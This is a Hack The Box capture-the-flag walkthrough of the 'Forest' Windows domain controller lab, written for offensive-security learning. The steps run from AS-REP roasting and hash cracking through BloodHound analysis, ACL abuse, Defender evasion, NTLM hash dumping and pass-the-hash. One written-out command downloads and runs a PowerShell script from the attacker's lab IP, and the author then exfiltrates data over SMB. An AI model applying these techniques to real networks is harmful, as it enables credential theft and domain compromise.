Skip to content
Go back

CTF writeup

Forest โ€” Hack The Box Walkthrough

Hack The Box

Starting point

The scan showed a domain controller, so I moved from generic SMB checks to account enumeration over RPC. Anonymous access did not give me a useful share listing, but it did provide names to test for Kerberos preauthentication exposure.

Route through the challenge

One service account returned an AS-REP response without a password. I cracked that response offline, authenticated over WinRM, and collected the user flag. The next question was how that account related to higher-privilege objects in the domain.

Outcome and context

I collected directory relationships with SharpHound and reviewed them in BloodHound. The resulting path led through group membership and object control to credentials usable for an administrator session. Those permissions were specific to this lab and should be verified at each hop.

Walkthrough and screenshots

Easy windows box (more like medium)

Starting off with Nmap

Screenshot 1

From the output, we can tell that there is a domain controller being hosted here as well as smb.

SMB Enumeration:

smbmap

Screenshot 2

Unable to access smb shares also tried with null authentication (fake user/pass)

trying with smbclient

Screenshot 3

no luck either but we see that anonymous access is supported

enum4linux

Screenshot 4

no luck here

RPC enumeration

connecting with null auth

Screenshot 5

Creating a list of useable usernames

Screenshot 6

cleaning out the output

Screenshot 7

as-rep roasting

using a simple for loop we can automate going through the user list and then we finally get a hit on an svc account(as-rep roasting)

Screenshot 8

Screenshot 9

Hash Cracking

we can now use hashcat to crack the hash

Screenshot 10

we got the password

Screenshot 11

we can then use evil-winrm to get access the machine as a user and cat the user flag

Screenshot 12

Privilege escalation

To get a better understanding of whatโ€™s going on I deployed sharp sound which is a PowerShell script part of the bloodhound repo to do a bunch of automated PowerShell queries for recon.

Firstly I started a local webserver and then downloaded my PowerShell script using iex

ex(new-object net.webclient).downloadstring("http://10.10.14.6/SharpHound.ps1")

Then I invoked the script with valid credentials so the queries could be made:

Screenshot 13

We are then left with the issue of exfil our output back to us.

Screenshot 14

Data Exfiltration

Using impackets smbserver i started a smb server to try and exfil my output too

thank you to 0xdf writeup for this

Screenshot 15

Inside of my evil-winrm shell I authenticated to my smbserver

Screenshot 16

I then copied my output file to the share

Screenshot 17

Clean up:

Delete output file

del 0220807041638_BloodHound.zip

Delete share

net use /d \\10.10.14.10\share

BloodHound

Investigating the output with bloodhound gui

Screenshot 18

After uploading the data I filtered for my compromised account to the shortest path to high valuable targets;

Screenshot 19

Viewing the help option in bloodhound

Screenshot 20

Creating my user and adding it the right groups

Screenshot 21

Evade defender and download powerview

Screenshot 22

Add-ObjectACL

Screenshot 23

Dump NTLM hashes for all domain users

Screenshot 24

psexec using Admin account NTLM hash

Screenshot 25

print root flag

Screenshot 26